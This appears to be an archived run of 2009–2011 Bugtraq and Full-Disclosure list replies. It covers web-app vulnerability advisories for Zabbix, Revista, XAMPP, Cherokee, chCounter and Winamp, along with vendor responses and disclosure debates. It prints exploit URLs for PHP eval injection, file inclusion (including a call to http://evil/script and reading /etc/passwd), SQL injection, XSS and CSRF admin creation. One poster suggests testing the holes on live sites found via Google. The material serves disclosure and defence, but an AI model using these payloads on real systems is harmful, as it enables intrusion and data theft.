> function, avoiding to fall into a breach that exits (returns) from the
> function.
>
> Investigating calc_exp2()s source:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> function calc_exp2($fields,$field,$expression){
>  foreach($fields as $f => $checks){
>   $expression = str_replace({.$f.},$_REQUEST[".$f."],$expression);
>  }
>
>  $expression = trim($expression,"& ");
>  $exec = "return (".$expression.") ? 1 : 0;";
>
>  $ret = eval($exec);
>
>  return $ret;
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> We have reached a function that contains an eval() call of the "$exec"
> variable that contains user controlled data.
>
> To better understand how the executed string is composed we must find
> a disposable page. Thanks to "locales.php" we can reach this function
> without any authentication.
>
> Now if we try to execute the query:
>
> /locales.php?download&langTo&extlang[AAA]=1
>
> The value of $exec is the following:
>
> return (($_REQUEST["extlang"]["AAA"]!=)) ? 1 : 0;
>
> Some constraints exist: the injected payload must comply with the
> calc_exp()s requirements in order to call calc_exp2() and the created
> string must be syntactically correct. What we can do is to play with
> the key values of the array. An intermediate test was:
>
> /locales.php?download&langTo&extlang[AAA"];phpinfo();]=1
>
> But it generates a syntax error. After some thinking the problem was
> solved in this way:
>
> /locales.php?download&langTo&extlang[".phpinfo()."]=1
>
> Now the syntax is correct and the payload gets executed.
>
> B) Cross Site Request Forgery
>
> A CSRF vulnerability exists in file "users.php". If the admin visits the
> following link:
>
> /users.php?config=0&save&alias=alias&name=foo&surname=foo&user_type=3&
> lang=lang&theme=theme&autologout=0&url=url&refresh=0
>
> A user with admin permissions is created.
>
> C) Local File Inclusion
>
> If the user is authenticated, a Local File Inclusion vulnerability
> exists in file "locales.php".
>
> The following URL exploits this vulnerability:
>
> /locales.php?action=1&next=1&srclang=../validate&extlang=en
>
> A string in the form of ".inc.php" is automatically appended to the
> local file path. Despite that its possible to include every target
> file truncating the filename using %00 (nullbyte):
>
> /locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_log%00%22
>
> Nullbyte injection normally requires magic quotes off.
>
> The vulnerable code is the following:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
>  srclang=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, isset({next})),
> [...]
> else if(isset($_REQUEST[next])){
> [...]
>  $fileFrom = include/locales/.$_REQUEST[srclang].".inc.php";
>   if(file_exists($fileFrom)){
>    include($fileFrom);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> IV. DETECTION
>
> Zabbix 1.6.2 and possibly earlier versions are vulnerable.
>
> V. WORKAROUND
>
> Update zabbix from svn the server (svn://svn.zabbix.com) or download
> version 1.6.3 when aviable.
>
> VI. VENDOR RESPONSE
>
> Vendor will fix all the exposed vulnerabilities in Zabbix 1.6.3.
>
> VII. CVE INFORMATION
>
> No CVE at this time.
>
> VIII. DISCLOSURE TIMELINE
>
> 20081215 Bug discovered
> 20090116 Initial vendor contact
> 20090116 Vendor Response (Fixes will be included in Zabbix 1.6.3)
> 20090130 Second email (When this is going to be fixed?)
> 20090131 Vendor Response (Everything has been fixed a week ago and is
>          publicy aviable in the SVN, Zabbix 1.6.3 will be released
>          within 10-15 days)
> 20090220 Third email (20 days elasped and no response, we will release
>          on 23 Feb)
> 20090220 Vendor Response (Postpone of 5-10 days required)
> 20090220 Third email (We will wait 5-10 days, 2 March is the deadline
>          if no contact)
> 20090303 Forced Advisory Release
>
> IX. CREDIT
>
> Antonio "s4tan" Parata, Francesco "ascii" Ongaro and Giovanni
> "evilaliv3" Pellerano are credited with the discovery of this
> vulnerability.
>
> Antonio "s4tan" Parata
> web site: http://www.ictsc.it/
> mail: s4tan AT ictsc DOT it, s4tan AT ush DOT it
>
> Francesco "ascii" Ongaro
> web site: http://www.ush.it/
> mail: ascii AT ush DOT it
>
> Giovanni "evilaliv3" Pellerano
> web site: http://www.evilaliv3.org
> mail: giovanni.pellerano AT evilaliv3 DOT org
>
> X. LEGAL NOTICES
>
> Copyright (c) 2009 Francesco "ascii" Ongaro
>
> Permission is granted for the redistribution of this alert
> electronically. It may not be edited in any way without mine express
> written consent. If you wish to reprint the whole or any
> part of this alert in any other medium other than electronically,
> please email me for permission.
>
> Disclaimer: The information in the advisory is believed to be accurate
> at the time of publishing based on currently available information. Use
> of the information constitutes acceptance for use in an AS IS condition.
> There are no warranties with regard to this information. Neither the
> author nor the publisher accepts any liability for any direct, indirect,
> or consequential loss or damage arising from use of, or reliance on,
> this information.
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
>   



From: Eygene Ryabinkin rea-sec@codelabs.ru
Sent: Mon 9. Mar 2009 14:59
Good day.

Small addition to the advisory.

Tue, Mar 03, 2009 at 03:30:26PM +0000, ascii wrote:
> Zabbix 1.6.2 Frontend Multiple Vulnerabilities
[...]
> C) Local File Inclusion
> 
> If the user is authenticated, a Local File Inclusion vulnerability
> exists in file "locales.php".
> 
> The following URL exploits this vulnerability:
> 
> /locales.php?action=1&next=1&srclang=../validate&extlang=en
> 
> A string in the form of ".inc.php" is automatically appended to the
> local file path. Despite that its possible to include every target
> file truncating the filename using %00 (nullbyte):
> 
> /locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_log%00%22
> 
> Nullbyte injection normally requires magic quotes off.
> 
> The vulnerable code is the following:
> 
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
> 
>  srclang=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, isset({next})),
> [...]
> else if(isset($_REQUEST[next])){
> [...]
>  $fileFrom = include/locales/.$_REQUEST[srclang].".inc.php";
>   if(file_exists($fileFrom)){
>    include($fileFrom);
> 
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

The second variable, extlang, also can be used for the file inclusion
and before r6886 there was the programming error: patch for locales.php
r6593 included wrong validation condition for extlang:
-----
if(ereg(^[A-Za-z0-9_]+$, $_REQUEST[srclang]) && ($_REQUEST[extlang] != new))
-----
This was fixed in revision 6886 of branches/1.6.

> IV. DETECTION
> 
> Zabbix 1.6.2 and possibly earlier versions are vulnerable.
> 
> V. WORKAROUND
> 
> Update zabbix from svn the server (svn://svn.zabbix.com) or download
> version 1.6.3 when aviable.

Be sure to update to the r6886 or later, otherwise LFI will still
be possible.
-- 
Eygene


From: marianiscc@hotmail.com
Sent: Mon 13. Apr 2009 14:49
Discovered by Sirdarckcat from elhacker.net

------------------------------------------------------------------------
------------

Revista 1.1.2

http://php-revista.sourceforge.org

------------------------------------------------------------------------
------------

Revista is a simple spanish PHP magazine editor.

It was done by php.org.mx

It suffers of multiple vulnerabilities.

------------------------------------------------------------------------
------------

Remote File Inclusion

http://revista/estilo/[ANY STYLE]/index.php?adodb=http://evil/script

------------------------------------------------------------------------
------------

SQLi

http://revista/estilo/[ANY STYLE]/busqueda_tema.php?id_temas=-1+[SQL]

http://revista/estilo/[ANY STYLE]/busqueda.php?cadena=+[SQL]

http://revista/estilo/[ANY STYLE]/autor.php?id_autor=-1+[SQL]

http://revista/estilo/[ANY STYLE]/lista.php?email=+[SQL]

http://revista/estilo/[ANY STYLE]/articulo.php?id_articulo=-1+[SQL]

------------------------------------------------------------------------
------------

Credentials Bypass

http://revista/admin/index.php?ID_ADMIN=1&SUPER_ADMIN=1

------------------------------------------------------------------------
------------

XSS

http://revista/estilo/[ANY STYLE]/busqueda.php?cadena=<XSS>

http://revista/estilo/[ANY STYLE]/lista.php?email=<XSS>

------------------------------------------------------------------------
------------

Att.

Sirdarckcat


From: David Cantrell d.cantrell@outcometechnologies.com
Sent: Wed 13. May 2009 11:10
ascii wrote:

> FormMail 1.92 Multiple Vulnerabilities  ...

The authors own webpage about formmail mentions the NMS project at the 
bottom of the page, about which he says:

" While the free code found at my web site has not evolved much in
   recent years, the general programming practices and standards of CGI
   programs have. nms is an attempt by very active programmers in the
   Perl community to bring the *quality of code for these types of
   programs up to date and eliminate some of the bad programming
   practices and bugs* found in the existing Matts Script Archive code.

" I would highly recommend downloading the nms versions if you wish to
   learn CGI programming. The code you find at Matts Script Archive is
   not representative of how even I would code these days. *My interests
   and activies have moved on, however, and I just have not found the
   time to update all of my scripts*. One of the major reasons for this
   is that they work for many people. For this reason, I will continue to
   provide them to the public, but am also *pleased to make you aware of
   well-coded alternatives*. "

(my emphasis)

which to me looks like hes already addressed the issue by recommending 
that you use NMS formmail if you care about the quality of the code and 
any bugs.

-- 
David Cantrell
Outcome Technologies Ltd
BUPA House, 15-19 Bloomsbury Way, London WC1A 2BA
Registered in England, No: 3829851


From: ascii ascii@katamail.com
Sent: Wed 13. May 2009 13:05
David Cantrell wrote:
> which to me looks like hes already addressed the issue by recommending
> that you use NMS formmail if you care about the quality of the code and
> any bugs.

Dear David,

telling people to use a different software doesnt automatically fix
issues.

As we tested FormMail and want to warn people who deployed FormMail and
will deploy FormMail we posted an advisory for FormMail. Hope this open
your mind.

Bye,
ascii
ush.it


From: TK147@TheArchitect.com
Sent: Thu 28. May 2009 10:19
Well MaXe,

Thats very clever of you.  The "vendor" is rolling out a patch and new version to address the issues you have raised.  Not sure why you beleive this software, developed with untold manhours and effort, and then offered for a very modest fee, should be released without appropriate pirating protections.  ..and why you woouldnt warn them and subsequently countless innocents of the issue.  Isnt this what your site is about?

But thanks for raising the issue.

YouAllLookAlikeToMe


From: security@intern0t.net
Sent: Thu 28. May 2009 15:27
InterN0T is about Hacking. (if you have seen the introduction)

To me, Hacking is primarily about learning how and why things works as they do and if they can be changed (improved or abused in this case) and of course, sharing what you find out so the community can benefit from it! 

Afterwards, the developers can learn to code more secure (if you find a vulnerability). However, as we all might know: Security is a human factor and will always be a problem.

If i would contact the vendor as the first thing each time, how would people be able to learn from my research if its not even possible to get an earlier version where the vulnerability is included in?

Consider the alternatives (where i dont contact the vendor):
- Sell the vulnerability and know people will exploit people in the dark.
- Keep it to myself and exploit people.
- Share it among a little group of people and let them play/exploit with it.

Taking that into consideration makes public disclosure sound like a good option to me. :-)


All of the best,
MaXe

PS: Yes, i know people will exploit the issue / vulnerability in the public disclosure method, but in this case the dealer actually has a chance of fixing it and usually they will fix it faster because its a lot more urgent. 

It might stress them, but if they just made sure all function calls and user input (forms) were validated properly then i wouldnt have been able to find these holes in the first place ;-)


From: security curmudgeon jericho@attrition.org
Sent: Mon 20. Jul 2009 07:02
On Mon, 13 Apr 2009, marianiscc@hotmail.com wrote:

: Discovered by Sirdarckcat from elhacker.net

By discovered, you mean copied from the disclosure in September 2006 
right?

CVE-2006-4605 through CVE-2006-4608.



From: bill.carovano@citrix.com
Sent: Wed 29. Jul 2009 14:09
It should be noted that Citrix does not offer a feature or product called "XenCenterWeb."  At one time, this tool was included in the informal XenServer Resource Kit, to serve as an example of how to utilize the XenServer SDK and provide web-based consoles for specific types of administrators (where customers had such a need).  It was never a supported product or feature, and is in fact no longer available.

Bill Carovano
Sr. Director, Technical Product Marketing
Citrix Systems, Inc.


From: starchang@aten.com.tw
Sent: Wed 12. Aug 2009 10:34
This is Technical Support Team from ATEN.

Firstly, we appreciate all suggestions from Germany TUB LAB. Undoubtedly, guaranteeing our KVM products with robust security mechanism is our responsibility.

After discussing with Germany TUB LAB, we believe all security issues could be fixed by new Firmware version as below. 

- KH1508i/KH1516i v1.0.068 
- KN9108/KN9116 v1.1.109 
- PN9108 v1.8.179 

Scheduled Release Date is around Aug. 17, 2009 

Please visit our ATEN official site later.
http://www.aten.com/download/download.php

As for SSL Certificate, SSL Certificate import function has built into our KVM above with new firmware. We strongly suggest our KVM users to import their individual Certificate for advanced security concern. We will tell our KVM users how to generate their own Certificate by openssl tool in our product manual later.

Thanks,
ATEN SUPPORT


From: Glenn Rossi dragon@midatlanticbb.com
Sent: Mon 17. Aug 2009 11:56
I emailed you last week but did not receive a response.

What about units like the CN5000 that do not appear anywhere on your 
website?  We have two of these and are very concerned about the below-
referenced vulnerability.

Will a firmware upgrade for these units be forthcoming as well, or do 
we now own hundreds of dollars worth of paperweights?



> This is Technical Support Team from ATEN.
> 
> Firstly, we appreciate all suggestions from Germany TUB LAB.
> Undoubtedly, guaranteeing our KVM products with robust security
> mechanism is our responsibility. 
> 
> After discussing with Germany TUB LAB, we believe all security issues
> could be fixed by new Firmware version as below. 
> 
> - KH1508i/KH1516i v1.0.068 
> - KN9108/KN9116 v1.1.109 
> - PN9108 v1.8.179 
> 
> Scheduled Release Date is around Aug. 17, 2009 
> 
> Please visit our ATEN official site later.
> http://www.aten.com/download/download.php
> 
> As for SSL Certificate, SSL Certificate import function has built into
> our KVM above with new firmware. We strongly suggest our KVM users to
> import their individual Certificate for advanced security concern. We
> will tell our KVM users how to generate their own Certificate by
> openssl tool in our product manual later. 
> 
> Thanks,
> ATEN SUPPORT

--
Glenn Rossi
Operations/Security/Engineering
MidAtlantic BroadBand/Staffnet/Protel
------------------------------------------
voice:  (866) HELP-KIT ext 132

web:    http://www.midatlanticbb.com
email:  mailto:webmaster@midatlanticbb.com
fax:    (410) 727-8245
handle: dragon
------------------------------------------
MidAtlantic BroadBand
729 East Pratt St., Suite 440
Baltimore, MD USA 21202
------------------------------------------
Without security, freedom is not possible.
------------------------------------------




From: ign.sec@gmail.com
Sent: Wed 6. Jan 2010 09:55
One thing i forgot, a %00 must be included at the end of the LFI, IE: index.php?op=../../../../../../../etc/passwd%00 

And ?op is vulnerable to a xss attack, IE:
index.php?op=<script>alert(document.cookie)</script>

Ignacio.


From: MustLive mustlive@websecurity.com.ua
Sent: Thu 4. Feb 2010 22:01
Hello MaXe!

> Have you checked the newest aka (also known as) latest version which is
> actually: 1.7.3 ?

No, I didnt and there was a reason for it. All these 7 advisories were made
in 2009 (as it clear from Timeline which I made for all advisories). Only
now I sent them to Bugtraq. And that time XAMPP 1.7.1 was the latest
version.

Besides, in 2009 developer of XAMPP answered me (with thanks) only at one of
seven letters and he didnt mention about fixing any of holes which I found.
So there is possibility that all or some of these holes are still not fixed.

Im rarely sending advisories about vulnerabilities to Bugtraq. During
2007-2010 I sent only small amount of my advisories to Bugtraq. From the end
of 2006 I was sending all holes (http://securityvulns.ru/source15611.html)
which I found to securityvulns.ru (securityvulns.com) and 3APA3A, admin of
these sites, sometimes sent some of them to Bugtraq. Last month I drew
attention that he didnt write to Bugtraq about all these holes in XAMPP, so
I decided to write about them by myself :-).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

----- Original Message ----- 
From: advisories@intern0t.net
To: bugtraq@securityfocus.com ; MustLive
Sent: Monday, February 01, 2010 10:53 AM
Subject: Re: Multiple vulnerabilities in XAMPP (advisory #7)


Hi MustLive

Have you checked the newest aka (also known as) latest version which is
actually: 1.7.3 ?

Link: http://www.apachefriends.org/en/xampp-windows.html


Best regards,
MaXe

On January 28, 2010 at 11:55 PM MustLive <mustlive@websecurity.com.ua>
wrote:

> Hello Bugtraq!
>
> I am continue informing you about multiple vulnerabilities in XAMPP.
>
> -----------------------------
> Advisory #7
> -----------------------------
> CSRF, SQL Injection and Full path disclosure vulnerabilities in XAMPP
> -----------------------------
> URL: http://websecurity.com.ua/3285/
> -----------------------------
> Timeline:
>
> 27.06.2009 - found the vulnerabilities.
> 01.07.2009 - announced at my site.
> 02.07.2009 - informed developers.
> 08.08.2009 - disclosed at my site.
> -----------------------------
> Details:
>
> These are Cross-Site Request Forgery, SQL Injection and Full path
> disclosure
> vulnerabilities.
>
> CSRF:
>
> http://site/xampp/cds-fpdf.php
>
> Its possible to delete or add data in test table (as via CSRF, and as via
> Insufficient Authorization vulnerabilities). And also to conduct SQL
> Injection via CSRF attacks.
>
> SQL Injection:
>
> http://site/xampp/cds-fpdf.php?action=del&id=-1%20or%201=1 (register
> globals
> on)
>
> http://site/xampp/cds-fpdf.php?interpret=1&titel=1&jahr=1),(version(),1,1
>
> http://site/xampp/cds-fpdf.php?interpret=1&titel=,1,1),(version(),1,1)/*
> (mq off)
>
> http://site/xampp/cds-fpdf.php?titel=1&interpret=,1),(version(),1,1)/*
> (mq
> off)
>
> Attack is possible during access to admin panel (via Insufficient
> Authorization), or via CSRF.
>
> Full path disclosure:
>
> http://site/xampp/external/ps/draw.php
> http://site/xampp/external/ps/hyperlinks.php
> http://site/xampp/external/ps/image.php
> http://site/xampp/external/ps/overprint.php
> http://site/xampp/external/ps/ps.php?submit=OK
> http://site/xampp/external/ps/shading.php
> http://site/xampp/external/ps/spotcolor.php
> http://site/xampp/external/ps/text.php
> http://site/xampp/special/ps/draw.php
> http://site/xampp/special/ps/hyperlinks.php
> http://site/xampp/special/ps/image.php
> http://site/xampp/special/ps/overprint.php
> http://site/xampp/special/ps/ps.php?submit=OK
> http://site/xampp/special/ps/shading.php
> http://site/xampp/special/ps/spotcolor.php
> http://site/xampp/special/ps/text.php
>
> Vulnerable are XAMPP 1.6.8 and previous versions. And potentially next
> versions (including last version XAMPP 1.7.1).
>
> -----------------------------
>
> Best wishes & regards,
> MustLive
> Administrator of Websecurity web site
> http://websecurity.com.ua


From: MustLive mustlive@websecurity.com.ua
Sent: Sat 6. Feb 2010 23:56
Hello Sebastien!

You can confirm it by yourself. Just find a site on XAMPP (Google can help
you with it) and check the holes using PoCs which I provided.

> and what target of xampp is it ? win32 ? linux ?

As far as I remember last year when I found all these vulnerabilities in
XAMPP, it was XAMPP on Windows servers on all those sites where I found
these holes.

In 99% of cases Im researching vulnerabilities in the Web at real sites,
not at localhost (at localhost I can check for holes only in software which
I use). And I had never used XAMPP (or WAMPP or LAMPP) and I checked all
these holes at real web sites. So in all my advisories I wrote "Vulnerable
are XAMPP 1.6.8 and previous versions", because maximum version which I
found was 1.6.8. And it was quite possible that version 1.7.1 (last version
at that time) was also vulnerable, so I mentioned about it in my advisories.
And XAMPP developers didnt refute existence of vulnerabilities in 1.7.0 and
1.7.1, when I informed them, and didnt answer if they fixed the holes (so
its possible that these holes are still not fixed).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

----- Original Message ----- 
From: S?bastien H?nar?s
To: MustLive
Cc: advisories@intern0t.net ; bugtraq@securityfocus.com
Sent: Friday, February 05, 2010 1:19 AM
Subject: Re: Multiple vulnerabilities in XAMPP (advisory #7)


Hello people, can a secondary source confirm the vuln please ?
and what target of xampp is it ? win32 ? linux ?


2010/2/4 MustLive <mustlive@websecurity.com.ua>

Hello MaXe!


Have you checked the newest aka (also known as) latest version which is
actually: 1.7.3 ?


No, I didnt and there was a reason for it. All these 7 advisories were made
in 2009 (as it clear from Timeline which I made for all advisories). Only
now I sent them to Bugtraq. And that time XAMPP 1.7.1 was the latest
version.

Besides, in 2009 developer of XAMPP answered me (with thanks) only at one of
seven letters and he didnt mention about fixing any of holes which I found.
So there is possibility that all or some of these holes are still not fixed.

Im rarely sending advisories about vulnerabilities to Bugtraq. During
2007-2010 I sent only small amount of my advisories to Bugtraq. From the end
of 2006 I was sending all holes (http://securityvulns.ru/source15611.html)
which I found to securityvulns.ru (securityvulns.com) and 3APA3A, admin of
these sites, sometimes sent some of them to Bugtraq. Last month I drew
attention that he didnt write to Bugtraq about all these holes in XAMPP, so
I decided to write about them by myself :-).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua


From: lars@enomaly.com
Sent: Tue 16. Feb 2010 15:39
The reported issue DOES NOT AFFECT ANY CURRENT ENOMALY PRODUCT.  Our current products are Enomaly ECP Service Provider Edition and Enomaly ECP High Assurance Edition, and neither utilizes the "vmfeed" module.

Specifically, the "vmfeed" module has not been utilized in any version of our products released since the initial release of Enomaly ECP Service Provider Edition in June 2009.  The "vmfeed" module was utilized only in our previous-generation "Community Edition" product, which has been deprecated and withdrawn from distribution.  Enomaly ECP Service Provider Edition is a completely different product from the old Community Edition.

As a result, since the Community Edition product is deprecated and has been withdrawn, Enomaly has not investigated this reported issue.

Further information on the differences between the deprecated Community Edition technology and our current Service Provider Edition technology can be found at http://src.enomaly.com.

Lars-Erik Forsberg, VP Delivery
Enomaly Inc.


From: dan.j.rosenberg@gmail.com
Sent: Fri 5. Mar 2010 12:10
Apparently Bugtraq doesnt like attachments.  The patches are available as attachments to the archived Full-Disclosure posting, at:

http://seclists.org/fulldisclosure/2010/Mar/122


From: Andrew Morum amorum@brendata.co.uk
Sent: Thu 3. Jun 2010 15:57
Not sure, phprunner incorporates this doesnt it? 

-----Original Message-----
From: Alex Legler [mailto:a3li@gentoo.org] 
Sent: 02 June 2010 22:18
To: gentoo-announce@gentoo.org
Cc: bugtraq@securityfocus.com; full-disclosure@lists.grok.org.uk;
security-alerts@linuxsecurity.com
Subject: [ GLSA 201006-13 ] Smarty: Multiple vulnerabilities

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=

Gentoo Linux Security Advisory                           GLSA 201006-13=

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=

                                            http://security.gentoo.org/=

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=


  Severity: Normal
     Title: Smarty: Multiple vulnerabilities
      Date: June 02, 2010
      Bugs: #212147, #243856, #270494
        ID: 201006-13

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=


Synopsis
=3D=3D=3D=3D=3D=3D=3D=3D

Multiple vulnerabilities in the Smarty template engine might allow
remote attackers to execute arbitrary PHP code.

Background
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Smarty is a template engine for PHP.

Affected packages
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

    -------------------------------------------------------------------=

     Package         /  Vulnerable  /                       Unaffected
    -------------------------------------------------------------------=

  1  dev-php/smarty      < 2.6.23                            >=3D 2.6.2=
3

Description
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Multiple vulnerabilities have been discovered in Smarty:

* The vendor reported that the modifier.regex_replace.php plug-in
  contains an input sanitation flaw related to the ASCII NUL character
  (CVE-2008-1066).

* The vendor reported that the _expand_quoted_text() function in
  libs/Smarty_Compiler.class.php contains an input sanitation flaw via
  multiple vectors (CVE-2008-4810, CVE-2008-4811).

* Nine:Situations:Group::bookoo reported that the
  smarty_function_math() function in libs/plugins/function.math.php
  contains input sanitation flaw (CVE-2009-1669).

Impact
=3D=3D=3D=3D=3D=3D

These issues might allow a remote attacker to execute arbitrary PHP
code.

Workaround
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

There is no known workaround at this time.

Resolution
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

All Smarty users should upgrade to an unaffected version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=3Ddev-php/smarty-2.6.23"

NOTE: This is a legacy GLSA. Updates for all affected architectures are=

available since June 2, 2009. It is likely that your system is already
no longer affected by this issue.

References
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

  [ 1 ] CVE-2008-1066
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-1066
  [ 2 ] CVE-2008-4810
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-4810
  [ 3 ] CVE-2008-4811
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-4811
  [ 4 ] CVE-2009-1669
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2009-1669

Availability
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-201006-13.xml

Concerns?
=3D=3D=3D=3D=3D=3D=3D=3D=3D

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.

License
=3D=3D=3D=3D=3D=3D=3D

Copyright 2010 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.5


The information contained in this email is intended for the personal an=
d confidential use
of the addressee only. It may also be privileged information. If you ar=
e not the intended
recipient then you are hereby notified that you have received this docu=
ment in error and
that any review, distribution or copying of this document is strictly p=
rohibited. If you have 
received  this communication in error, please notify Brendata immediate=
ly on: 

+44 (0)1268 466100, or email technical@brendata.co.uk 

Brendata (UK) Ltd
Nevendon Hall, Nevendon Road, Basildon, Essex. SS13 1BX  UK
Registered Office as above. Registered in England No. 2764339

See our current vacancies at www.brendata.co.uk


From: security curmudgeon jericho@attrition.org
Sent: Thu 1. Jul 2010 19:16
On Sat, 12 Jun 2010, info@securitylab.ir wrote:

: #################################################################  
: # Securitylab.ir  
: #################################################################  
: # Application Info:  
: # Name: Cherokee Web Server
: # Version: 0.5.3
: # Download: http://mirror.aarnet.edu.au/pub/cherokee/windows/Cherokee-setup-0.5.3.exe
: #################################################################  

: [Directory Traversal]:
: http://127.0.0.1/%5C../%5C../%5C../boot.ini%20

This is essentially CVE-2009-3902, just encoding one char.

: [Remote Source Disclosure]:
: http://127.0.0.1:80/file.html::$DATA
: 
: http://127.0.0.1/index.htm%20 

Did you try these on something other than HTML? Did it work for .php or 
.asp for example?


From: security curmudgeon jericho@attrition.org
Sent: Tue 5. Apr 2011 20:08
: Multiple vulnerabilities were found in web application chCounter <= 3.1.3.
: 
: Author:
: - Matias Fontanini(mfontanini@cert.unlp.edu.ar).
: 
: Requirements:
: - Downloads must be enabled(this is not default).
: - magic_quotes off.
: - Access to administration site

That is a lot of prerequisites..

: =SQLInjection=
: Location: administration/index.php?cat=downloads&edit=
: Affected parameters: anzahl
: Method: POST
: Severity: High
: Description: When accessing
: administration/index.php?cat=downloads&edit=VALID_ID
: and using a valid download id, an attacker is able to manipulate the
: "anzahl" parameter to perform queries which only involve returning an integer.
: The query output will be sent back to the client in the "anzahl" text input.
: Exploit: An attacker could perform repeated crafted requests to retrieve
: any database records for which the user has access.

"retrieve any database record for which the user has access"

This does not sound like it is crossing any privilege boundaries then. Can 
you elaborate on how this is a vulnerability versus a clever / unintended 
method for accessing the information? Could you then justify giving this a 
"High" severity, especially after the requirements you list?


From: Henri Salo henri@nerv.fi
Sent: Wed 6. Jul 2011 15:14
On Wed, Jun 29, 2011 at 08:02:45PM +0100, Luigi Auriemma wrote:
> #######################################################################
> 
>                              Luigi Auriemma
> 
> Application:  Winamp
>               http://www.winamp.com
> Versions:     <= 5.61
> Platforms:    Windows
> Bugs:         A] in_midi Controller messages heap overflow
>               B] in_midi Note On messages heap overflow
>               C] in_midi MTrk heap overflow
> Date:         27 Jun 2011
> Author:       Luigi Auriemma
>               e-mail: aluigi@autistici.org
>               web:    aluigi.org
> 
> 
> #######################################################################
> 
> 
> 1) Introduction
> 2) Bugs
> 3) The Code
> 4) Fix
> 
> 
> #######################################################################
> 
> ===============
> 1) Introduction
> ===============
> 
> 
> Winamp is one of the most diffused and appreciated media players for
> Windows.
> 
> 
> #######################################################################
> 
> =======
> 2) Bugs
> =======
> 
> --------------------------------------------
> A] in_midi Controller messages heap overflow
> --------------------------------------------
> 
> The Controller status message of the MIDI files is an 8bit value from
> 0xb0 to 0xbf followed by the controller number and the value to assign.
> 
> The in_midi native plugin of Winamp follows the specifications
> allocating a buffer that fits the 128 instruments but the "Controller
> number" is an 8bit value which arrives to 255 and there are no checks
> to avoid the usage of this additional memory.
> 
> The result is a heap overflow and its usual effects like arbitrary
> memory freeing, write4 and so on.
> From in_midi.dll:
> 
>   07662918  |. 8A4D 08              MOV CL,BYTE PTR SS:[EBP+8]
>                                     ; "Controller message"
>   0766291B  |. 56                   PUSH ESI
>   0766291C  |. 8BF0                 MOV ESI,EAX
>   0766291E  |. 8AC1                 MOV AL,CL
>   07662920  |. 24 F0                AND AL,0F0
>   07662922  |. 80E1 0F              AND CL,0F
>   07662925  |. 884D FF              MOV BYTE PTR SS:[EBP-1],CL
>   07662928  |. 3C B0                CMP AL,0B0
>   0766292A  |. 0F85 B1000000        JNZ in_midi.076629E1
>   07662930  |. 33D2                 XOR EDX,EDX
>   07662932  |. 3915 98896707        CMP DWORD PTR DS:[7678998],EDX
>   07662938  |. 74 1B                JE SHORT in_midi.07662955
>   0766293A  |. 80F9 09              CMP CL,9
>   0766293D  |. 75 16                JNZ SHORT in_midi.07662955
>   0766293F  |. 3856 01              CMP BYTE PTR DS:[ESI+1],DL
>   07662942  |. 75 11                JNZ SHORT in_midi.07662955
>   07662944  |. 8A06                 MOV AL,BYTE PTR DS:[ESI]
>                                     ; "Controller Number"
>   07662946  |. 3AC2                 CMP AL,DL
>   07662948  |. 74 04                JE SHORT in_midi.0766294E
>   0766294A  |. 3C 20                CMP AL,20
>   0766294C  |. 75 07                JNZ SHORT in_midi.07662955
>   0766294E  |> 33C0                 XOR EAX,EAX
>   07662950  |. E9 E4010000          JMP in_midi.07662B39
>   07662955  |> 0FB6C1               MOVZX EAX,CL
>   07662958  |. 0FB60E               MOVZX ECX,BYTE PTR DS:[ESI]
>                                     ; "Controller Number"
>   0766295B  |. 8945 F8              MOV DWORD PTR SS:[EBP-8],EAX
>   0766295E  |. C165 F8 07           SHL DWORD PTR SS:[EBP-8],7
>   07662962  |. 034D F8              ADD ECX,DWORD PTR SS:[EBP-8]
>   07662965  |. 8945 FC              MOV DWORD PTR SS:[EBP-4],EAX
>   07662968  |. 8A46 01              MOV AL,BYTE PTR DS:[ESI+1]  ; "value"
>   0766296B  |. 884419 08            MOV BYTE PTR DS:[ECX+EBX+8],AL
> 
